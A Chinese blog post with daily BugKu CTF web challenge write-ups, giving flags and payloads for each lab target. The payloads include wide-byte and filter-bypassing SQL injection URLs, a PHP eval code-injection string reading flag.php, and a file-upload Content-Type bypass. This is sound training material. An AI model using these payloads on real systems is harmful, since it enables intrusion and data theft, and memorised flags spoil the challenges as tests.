每日CTF-week5


2018.4.2

BugKuCTF-WEB2

原题链接

http://120.24.86.145:8002/web2/

分析

进url是一个经典的满屏滑稽(/手动斜眼笑);
查看了一下元素,搜索flag,就找到了(/滑稽)
mark

flag:

KEY{Web-2-bugKssNNikls9100}

BugKuCTF-文件上传测试1

原题链接

http://103.238.227.13:10085/

分析

mark
不用想也知道直接上传php文件,是不行的。果然返回非图片文件。

抓包看一下,Content-Type为application/octet-stream,将其改为image/gif,放包。
mark
上传成功后返回flag。

flag

Flag:42e97d465f962c53df9549377b513c7e


2018-4-3

BugKuCTF计算器

原题链接

http://120.24.86.145:8002/yanzhengma/

分析

静态html/js题:
看一下源码,或者查看文本框的元素,容易发现:

<span id="code" class="nocode">验证码</span> <input type="text" class="input" maxlength="1"/> 
<button id="check">验证</button>  

maxlenth(最大长度)设置成了1,所以输出不上。

解决办法是:
在查看器中修改maxlength的值。
mark

再输入验证结果即可。

方法二:
直接在调试器中找到js源文件(/doge):
mark

flag

flag{CTF-bugku-0032}

BugKuCTF-web基础$_GET

原题链接

http://120.24.86.145:8002/get/

分析

不说了,payload:http://120.24.86.145:8002/get/?what=flag

flag

flag{bugku_get_su8kej2en}

BugKuCTF-web基础$_POST

原题链接

http://120.24.86.145:8002/post/

flag

flag{bugku_get_ssseint67se}


2018-4-4

BugKu-矛盾

原题链接

http://120.24.86.145:8002/get/index1.php

分析

弱类型
1 == 1string
payload:
num=1admin

flag

flag{bugku-789-ps-ssdf}

知识点

php弱类型
https://www.cnblogs.com/Mrsm1th/p/6745532.html

BugKu-Web3

原题链接:

http://120.24.86.145:8002/web3/

分析

view-source:http://120.24.86.145:8002/web3/

查看源码,发现最后一段Unicode编码,解码得到flag。
Unicode解码

flag

KEY{J2sa42ahJK-HS11III}


2018-4-5

SQL注入

原题链接

http://103.238.227.13:10083/

分析

首先试着用id=1 和 id=1’ 试一试,发现页面都没报错,难道不存在注入点?
这里估计id=1和id=1’没报错是因为使用了转义函数,将 ’ 转义为了\’。一般情况下,不会出现页面报错,看上去好像就没有注入点了。
mark
mark
想起来之前看见过由于编码漏洞导致的宽字节注入。于是尝试:

http://103.238.227.13:10083/?id=1%df%27

发现报错,说明的确是宽字节注入。
mark

所谓宽字节注入,就是数据库gbk编码时,在SQL语句中,如果一个字符的ascii码大于127,会与后一个编码一起当做中文处理。而当我用%df会和\的URL码即%5c
一起被当做中文处理了,这样后面的 ’ 就逃逸检查出来了。更多内容参考SQL宽字节注入

接下来就和常规操作差不多了。

payload

1.构造语句查看一下数据库名

http://103.238.227.13:10083/?id=1%df%27 union select 1,database()%23

mark
2.构造语句查看字段值

http://103.238.227.13:10083/?id=1%df%27 union select 1,string from sql5.key where id = 1%23

mark

flag

KEY{54f3320dc261f313ba712eb3f13a1f6d}

知识点:

宽字节注入
由于本题很直接的告诉了我们,要找的字段就省了很多事,只要知道是宽字节注入,就很容易了。


2018-4-6

域名解析

原题链接

域名解析

50

听说把 flag.bugku.com 解析到120.24.86.145 就能拿到flag

分析

原以为这是什么我没遇到的域名解析漏洞呢。

其实只是一个知识点: 本地域名解析文件!

在进行DNS请求以前,Windows系统会先检查自己的Hosts文件中是否有这个网络域名映射关系。如果有则,调用这个IP地址映射,如果没有,再向已知的DNS服务器提出域名解析。也就是说Hosts的请求级别比DNS高。

下面总结一下Linux和windows下的域名解析文件:

Linux:

路径 /etc/hosts
修改 sudo gedit /etc/hosts (要以root权限运行,否则不可写)
添加映射记录:
IP domain (中间以数个空格隔开,#表示注释。)
mark

Windows:

路径 C:\Windows\System32\drivers\etc
添加映射记录:
IP domain (中间以数个空格隔开,#表示注释。)
mark

添加完映射,浏览器访问flag.bugku.com即可得到flag。

flag

KEY{DSAHDSJ82HDS2211}

知识点

域名解析文件hosts。


2018-4-7

SQL注入1

原题链接

地址:http://103.238.227.13:10087/

提示:过滤了关键字 你能绕过他吗

flag格式KEY{xxxxxxxxxxxxx}

分析

//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
    if (substr_count($id, $value) > 0)
    {
        exit('包含敏感关键字!'.$value);
    }
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

看上去过滤了很多和SQL注入有关的关键字,但是,由于函数strip_tags的存在,我们可以绕过黑名单检测。

strip_tags

(PHP 4, PHP 5, PHP 7)

strip_tags — 从字符串中去除 HTML 和 PHP 标记
说明
string strip_tags ( string str[,string s t r [ , s t r i n g allowable_tags ] )

该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数 fgetss() 一样的机制去除标记。

比如union本来是被过滤的,但是会uni

on不会,又由于strip_tags的存在,导致被去除了

那么思路就很清楚了,只要用简单的html标记绕过即可。

1.查库:

http://103.238.227.13:10087/?id=-1 uni</br>on sel</a>ect 1,database()--+

2 查表(更改limit x,1的x 查看所有):

http://103.238.227.13:10087/?id=-1 uni</br>on sel</a>ect 1,ta</br>ble_name fr</br>om info</a>rmation_schema.tab</br>les wh</a>ere t</br>able_schema='sql3' li</a>mit 0,1--+

3 查字段(更改limit x,1的x 查看所有)

http://103.238.227.13:10087/?id=-1 uni</br>on sel</a>ect 1,col</a>umn_name fr</br>om info</a>rmation_schema.col</br>umns wh</a>ere t</br>able_schema='sql3' a</br>nd tab</a>le_name='key' li</a>mit 0,1--+   

其实本题已经告诉了我们 ,查key表的id=1的hash字段值,以上纯属练习了,直接查数据:

payload:

http://103.238.227.13:10087?id=-1 un<a>ion se<p>lect 1,hash fr<a>om sql3.key
或
http://103.238.227.13:10087?id=-1 un<a>ion se<p>lect 1,hash fr<a>om .key   

flag

KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}

知识点

利用代码中的其他函数绕过


2018-4-8

BugKu-你必须让他停下来

原题链接

http://120.24.86.145:8002/web12/

分析

burp抓包放包,有图和无图的源码是不一样的,
有图的页面狐仙flag。

<body>
<center><strong>I want to play Dummy game with others£¡But I can't stop!</strong></center>
<center>Stop at panda ! u will get flag</center>
<center><div><img src="10.jpg"/></div></center><br><a style="display:none">flag{dummy_game_1s_s0_popular}</a></body>
</html>

flag

flag{dummy_game_1s_s0_popular}

BugKuCTF-本地包含

原题链接

http://120.24.86.145:8003/

分析

 <?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?> 

a= a = _REQUEST[‘hello’];
但是没有任何过滤就eval了!!!!!

hello是可控的。我们就可以通过构造hello来读取flag.php。
注意闭合括号。
payload:

http://120.24.86.145:8003/?hello=1);show_source("flag.php");show_source(

1);闭合var_dump( 形成var_dump(1);
show_source(“flag.php”) 读取flag.php
show_source( 闭合var_dump的右括号 (换成其他函数也可)

mark

flag

flag{bug-ctf-gg-99}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值